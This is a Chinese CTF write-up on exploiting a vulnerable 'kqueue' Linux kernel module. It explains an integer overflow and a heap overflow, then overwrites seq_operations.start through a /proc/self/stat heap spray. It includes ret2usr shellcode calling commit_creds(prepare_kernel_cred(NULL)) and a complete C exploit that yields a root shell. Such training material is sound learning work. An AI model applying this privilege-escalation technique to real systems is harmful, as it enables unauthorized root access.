堆溢出例题,参考a3大佬的博客来学习 : -)
保护机制 查看启动脚本,开启了KASLR,关闭了KPTI,可以利用ret2usr进行利用。
1 2 3 4 5 6 7 8 9 10 11 12 # !/bin/bash exec qemu-system-x86_64 \ -cpu kvm64 \ -m 512 \ -nographic \ -kernel "bzImage" \ -append "console=ttyS0 panic=-1 pti=off kaslr quiet" \ -monitor /dev/null \ -initrd "./rootfs.cpio" \ -net user \ -net nic
源码分析 提供了kqueue.c源码,定义了kqueue设备,ops只定义了ioctl操作。该操作为一个堆菜单,包括增删改查等操作。
用户传入的结构体定义如下:
1 2 3 4 5 6 7 typedef struct { uint32_t max_entries; uint16_t data_size; uint16_t entry_idx; uint16_t queue_idx; char * data; }request_t ;
在模块中进行创建和维护的结构或者说内存布局应该如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 ------------------------- <- 0 | main_queue | ------------------------- <- data_size | queue_entry_list[0] | ------------------------- <- data_size*2 | queue_entry_list[1] | ------------------------- <- data_size*3 | queue_entry_list[2] | ------------------------- <- data_size*4 | ... | ------------------------- | queue_entry_list[n] | ------------------------- <- data_size*(max_entries+1)
main_queue为queue结构体,其内容如下:
1 2 3 4 5 6 7 typedef struct { uint16_t data_size; uint64_t queue_size; uint32_t max_entries; uint16_t idx; char * data; }queue ;
queue_entry_list中每个条目为queue_entry结构体,其内容如下:
1 2 3 4 5 struct queue_entry { uint16_t idx; char *data; queue_entry *next; };
然后需要注意的一点是该题目定义的err函数内容如下:
1 2 3 4 static long err (char * msg) { printk(KERN_ALERT "%s\n" ,msg); return -1 ; }
也就是说输入不合法数据并不会错误退出。
create操作 直接分配queue_size = (max_entries+1) * data_size + sizeof(queue)大小的堆内存空间;然后为main_queue以及每个queue_entry赋值。
虽然有整数溢出判断逻辑,但是并不会exit。
delete操作 free掉指定idx的queue_entry。
edit操作 修改指定index的queue_entry数据内容
save操作 分配queue_size大小的堆并按照 request.data_size 来进行 memcpy 。因此这里存在堆溢出。
漏洞利用分析 存在create的整数溢出以及save的堆溢出。
整数溢出可以直接发送request.max_entries = 0xffffffff,从而__builtin_umull_overflow函数计算space为0,并且可以绕过整数溢出检测。
1 if (__builtin_umulll_overflow(sizeof (queue_entry),(request.max_entries+1 ),&space) == true )
因此可以发送0xffffffff的max_entries输入,create函数会申请大小为0x18的chunk,该大小会分配到kmalloc-32中,如果要实现利用要选取从该slab中分配的结构体。为seq_operations ,当我们打开一个 stat 文件时(/proc/self/stat)便会在内核中分配一个seq_operations结构体,该结构体定义于 /include/linux/seq_file.h文件中,只定义了4个函数指针:
1 2 3 4 5 6 struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); };
当我们read一个stat文件时,内核会调用其proc_ops的proc_read_iter指针,默认为seq_read_iter()函数,定义为fs/seq_file.c。
1 2 3 4 5 6 ssize_t seq_read_iter (struct kiocb *iocb, struct iov_iter *iter) { struct seq_file *m = iocb->ki_filp->private_data; p = m->op->start(m, &m->index);
其调用了seq_operations->start函数。因此可以控制start函数来提权。
由于开启了RANDOM_FREELIST保护,需要通过堆喷的方式让queue结构体堆附近布满seq_operation结构体,从而让其能够达到溢出的目的。
至于如何泄漏内核基址,通过编写shellcode在内核栈上找到数据(因为没有开启smep,smap)来执行commit_creds(prepare_kernel_cred(NULL))。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 "mov r12, [rsp + 0x8];" "sub r12, 0x201179;" "mov r13, r12;" "add r12, 0x8c580;" // prepare_kernel_cred "add r13, 0x8c140;" // commit_creds "xor rdi, rdi;" "call r12;" "mov rdi, rax;" "call r13;" "swapgs;" "mov r14, user_ss;" "push r14;" "mov r14, user_sp;" "push r14;" "mov r14, user_rflags;" "push r14;" "mov r14, user_cs;" "push r14;" "mov r14, root_rip;" "push r14;" "iretq;"
编写exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/ioctl.h> #include "kernelpwn.h" #define CREATE_KQUEUE 0xDEADC0DE #define EDIT_KQUEUE 0xDAADEEEE #define DELETE_KQUEUE 0xBADDCAFE #define SAVE 0xB105BABE #define MAX_STAT_FILE_NUM 0x200 int dev_fd;size_t root_shell;typedef struct { uint32_t max_entries; uint16_t data_size; uint16_t entry_idx; uint16_t queue_idx; char * data; }request_t ; void create_kqueue (uint32_t max_entries, uint16_t data_size) { request_t request; request.max_entries = max_entries; request.data_size = data_size; ioctl(dev_fd, CREATE_KQUEUE, &request); } void delete_kqueue (uint16_t queue_idx) { request_t request; request.queue_idx = queue_idx; ioctl(dev_fd, DELETE_KQUEUE, &request); } void edit_kqueue (uint16_t queue_idx, uint16_t entry_idx, char * data) { request_t request; request.queue_idx = queue_idx; request.entry_idx = entry_idx; request.data = data; ioctl(dev_fd, EDIT_KQUEUE, &request); } void save_kqueue (uint16_t queue_idx, uint16_t data_size, uint16_t max_entries) { request_t request; request.max_entries = max_entries; request.queue_idx = queue_idx; request.data_size = data_size; ioctl(dev_fd, SAVE, &request); } void usr_shellcode () { asm volatile ( ".intel_syntax noprefix;" "mov rax, [rsp+8];" "sub rax, 0x201179;" "sub rbp, 0x8;" "push rax;" "xor rdi, rdi;" "mov r12, [rsp];" "add r12, 0x8c580;" "call r12;" "mov rdi, rax;" "mov r12, [rsp];" "add r12, 0x8c140;" "call r12;" "swapgs;" "mov r14, user_ss;" "push r14;" "mov r14, user_sp;" "push r14;" "mov r14, user_rflags;" "push r14;" "mov r14, user_cs;" "push r14;" "mov r14, root_shell;" "push r14;" "iretq;" ".att_syntax;" ) ;} int main (int argc, char ** argv, char ** envp) { int fd_list[MAX_STAT_FILE_NUM]; size_t * data; char * tmp_data; bind_core(0 ); save_status(); root_shell = (size_t )(&get_root_shell); dev_fd = open("/dev/kqueue" , O_RDWR); if (dev_fd < 0 ) { log_error("open target device failed!" ); } data = malloc (0x100 ); for (int i=0 ; i<0x100 /8 ; i++){ data[i] = (size_t )usr_shellcode; } log_info("Step1: send max_entrie 0xffffffff to trigger interger overflow" ); create_kqueue(0xffffffff , 0x100 ); log_info("Step2: heap spraying..." ); edit_kqueue(0 , 0 , (char *)data); for (int i=0 ; i<MAX_STAT_FILE_NUM; i++) { fd_list[i] = open("/proc/self/stat" , O_RDONLY); } log_info("Step3: heap overflow to overwrite seq_operation.start" ); save_kqueue(0 , 0x40 , 0 ); tmp_data = malloc (0x10 ); for (int i=0 ; i<MAX_STAT_FILE_NUM; i++){ read(fd_list[i], tmp_data, 1 ); } return 0 ; }
最终可以成功执行到system(“/bin/sh”)函数,但是会出现栈不平衡的问题,暂时还没找到解决方法。(后续,堆喷的数量太多了,设置成 0x200 即可)
参考链接